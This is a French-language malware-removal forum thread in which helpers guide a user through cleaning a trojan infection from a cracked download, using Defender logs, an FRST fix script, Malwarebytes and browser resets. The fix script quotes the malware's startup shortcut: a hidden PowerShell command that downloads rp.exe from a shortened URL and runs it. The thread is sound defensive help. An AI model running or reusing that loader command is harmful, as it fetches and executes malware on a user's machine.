Infection DevExpress.Utils.Drwing / Registry Cleaner / rp.exe

[Estheresys]

Bonjour a vous,

Je fais appel a vous car j'ai depuis un petit moment "Registry Cleaner (32bits)" qui tourne en arriere plan ainsi que des pages "DevExpress.Utils.Drwing" lorsque je fais des Alt+ Tab, cela me met une sorte de tétris.
En faisant le tour du forum je m'apercois qu'il y'a deja eu un sujet ouvert viewtopic.php?t=74856 qui est également du a un telechargement illégal de guitar pro sur le meme site,

Je sollicite votre aide pour etre débarasser de cet infection

Sans titre.jpg

Je vous met en PJ une capture ecran et mes logs de FRST

FRST.txt

Addition.txt

Merci d'avance

[Parisien_entraide]

Bonjour

Malekal ou Angélique s'occuperont de ton cas, mais il est plein de cracks ce PC

Tu as eu probablement des données volées par le passé
Le truc c'est que vu le flux énorme de données volées dans le monde , les voleurs d'informations peuvent s'occuper de ton cas dans la semaine (si il est estimé que tu es une cible intéressante avec de l'Instagram, Discord etc comme dans plusieurs mois (Comptes de jeux par ex)
Là de toutes les façons il ne sert à rien de changer les mots de passe avant qu'il ne soit donné un "fix
Il faut virer l'infection avant

[Malekal_morte]

Salut,

Tu as aussi infecté ton PC en début de mois :

Date: 2024-10-05 22:12:03
Description:
Antivirus Microsoft Defender a détecté un logiciel malveillant ou potentiellement indésirable.
Nom : Trojan:Win32/Znyonm
ID : 2147890445
Gravité : Grave
Catégorie : Cheval de Troie
Chemin : file:_C:\Users\Romain\AppData\Local\Microsoft\Windows\INetCache\IE\2JNRX6WA\qzr[1].exe; file:_C:\Users\Romain\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\quantum.exe; startup:_C:\Users\Romain\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\quantum.exe
Origine de la détection : Ordinateur local
Type de détection : Concret
Source de détection : Protection en temps réel
Utilisateur : DESKTOP-NPIG3KC\Romain
Nom du processus : C:\Users\Romain\AppData\Roaming\audacity\Archive.exe
Version de la veille de sécurité : AV: 1.419.362.0, AS: 1.419.362.0, NIS: 1.419.362.0
Version du moteur : AM: 1.1.24080.9, NIS: 1.1.24080.9\00

Date: 2024-10-05 22:11:49
Description:
Antivirus Microsoft Defender a détecté un logiciel malveillant ou potentiellement indésirable.
Nom : Trojan:Win32/Wacatac.B!ml
ID : 2147735505
Gravité : Grave
Catégorie : Cheval de Troie
Chemin : file:_C:\Users\Romain\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bitor.exe
Origine de la détection : Ordinateur local
Type de détection : Chemin rapide
Source de détection : Protection en temps réel
Utilisateur : DESKTOP-NPIG3KC\Romain
Nom du processus : C:\Windows\System32\sihost.exe
Version de la veille de sécurité : AV: 1.419.362.0, AS: 1.419.362.0, NIS: 1.419.362.0

Voici la correction à effectuer avec FRST. Tu peux t'aider de cette Voici la correction à effectuer avec FRST. Tu peux t'aider de cette #fix note explicative avec des captures d'écran.
Relance FRST puis sur ton clavier appuyer sur la touche CTRL + Y.
Le bloc-note va s'ouvrir, copie/colle ceci.

Code : Tout sélectionner

Start:
CloseProcesses:
CreateRestorePoint:
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ini.lnk [2024-08-02]
ShortcutAndArgument: ini.lnk -> C:\Windows\System32\cmd.exe => /c cd %APPDATA% & powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('hxxps://shorturl.at/G80TT'.Replace('_',''),'rp.exe');Start 'rp.exe'& exit
Task: {CA8FAB97-295C-4B7A-9A14-DDA29EA1BEA6} - System32\Tasks\CCleanerCrashReporting => E:\Downloads\CCleaner Pro Portable 6.27.11214 (Windows)\App\CCleaner\CCleanerBugReport.exe [5075248 2024-09-08] (Gen Digital Inc. -> Gen Digital Inc. All rights reserved.) -> --product 90 --send dumps|report --path "E:\Downloads\CCleaner Pro Portable 6.27.11214 (Windows)\App\CCleaner\LOG" --programpath "E:\Downloads\CCleaner Pro Portable 6.27.11214 (Windows)\App\CCleaner" --guid "92785d66-af28-4581-81fc-66f80be03c70" --version "6.27.11214" --silent
Task: {969A3643-5701-487C-A25C-1F16BAA8196E} - System32\Tasks\fat32 => C:\Users\Romain\AppData\Roaming\rp.exe [1073741824 2024-09-09] (Auslogics) [Fichier non signé] <==== ATTENTION
C:\Users\Romain\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bitor.exe
C:\Users\Romain\AppData\Roaming\audacity
Hosts:
RemoveProxy:
Reboot:
End:

Ferme le bloc-note, retourne sur FRST et clique sur le bouton "Corriger / Fix"
Un redémarrage sera peut-être nécessaire et automatique.
Un fichier texte apparaît, copie/colle le contenu ici dans un nouveau message.

Redémarre l'ordinateur.
(L'ordinateur peut redémarrer tout seul, si le rapport de correction ne s'ouvre pas, cherche un fichier fixlog.txt qui se trouve dans le même dossier que FRST)

Important :

Le contenu de la correction ne doit pas être vide et doit refléter le script donné précédemment.
Dans le cas où la correction est vide, essaye de faire la correction FRST comme ceci :

Place le programme FRST sur le bureau
Ouvre le bloc-note.
Colle le script donné plus haut.
Enregistre le fichier sur le sur le bureau de Windows (pas ailleurs) sous le nom de fixlist.txt.
Relance FRST puis Corriger.



2) réinitialiser les navigateurs:
==================================
Réinitialise tes navigateurs et/ou re-paramètre manuellement tes navigateurs WEB ( page de démarrage, moteur de recherche, etc ) mais aussi supprimer/désactiver les extensions inutiles/parasites.
Pour t'aider à effectuer ce ménage, clique ci-dessous sur le nom du navigateur WEB que tu utilises :

• Réparer Mozilla Firefox (premier paragraphe)
• Réparer Google Chrome (premier paragraphe)
• Comment réparer ou réinitialiser Microsoft Edge

3)
Faire un nettoyage Malwarebytes Anti-Malware (MBAM) version gratuite

4)
Refais un scan FRST et donne les nouveaux rapports via pjjoint

[Estheresys]

Bonne nouvelle tout s'est bien passé, MBAM m'as donné 10 adware en quarantaine je les ai bien supprimés, redemarrer le pc refais une analyse, et ..... plus rien ! Houra
Je vous met en pjjoint les logs de FRST
https://pjjoint.malekal.com/files.php?i ... 13i15d6v12
https://pjjoint.malekal.com/files.php?i ... 11n12w5b14
Effet Placebo ou pas, mais j'ai l'impression que mes jeux sont moins ralentis ^^
Je vous remercie pour votre aide

[Parisien_entraide]

Bonsoir

Tu as le rapport de MBAM ?

Malekal te dira ce qu'il en est mais tu as réinitialisé les navigateurs ?

Attend donc le verdict
Ensuite après confirmation si il n'y a plus rien, il te faudra changer tous les mots de passe de sites, interfaces de jeux, réseaux sociaux

[Estheresys]

En effet, c'est revenu, voic le rapport MBAM : https://pjjoint.malekal.com/files.php?i ... p11n8y6x15

Je me lance directement dans la reinitilisation de chrome, mon firefox a deja été efectué car je ne l'utilise quasiment pas

Merci a vous

[Parisien_entraide]

Dans le rapport on note bien un Chrome\User Data\Default\Sync Data\

On note une synchronisation
C'est à virer meme si pratique
https://www.malekal.com/parametrer-la-s ... le-chrome/

Si c'est pour la connexion gmail ou autre, utilise un gestionnaire de mots de passe comme KeepassXC qui est gratuit et dont les données ne sont pas stockées sur l'ordinateur de quelqu'un d'autre avec les risques que cela comprend (le cloud)
https://www.malekal.com/keepassxc-le-ge ... piratages/

Une fois le nettoyage et réinitialisation de Chrome redonne les 3 rapports FRST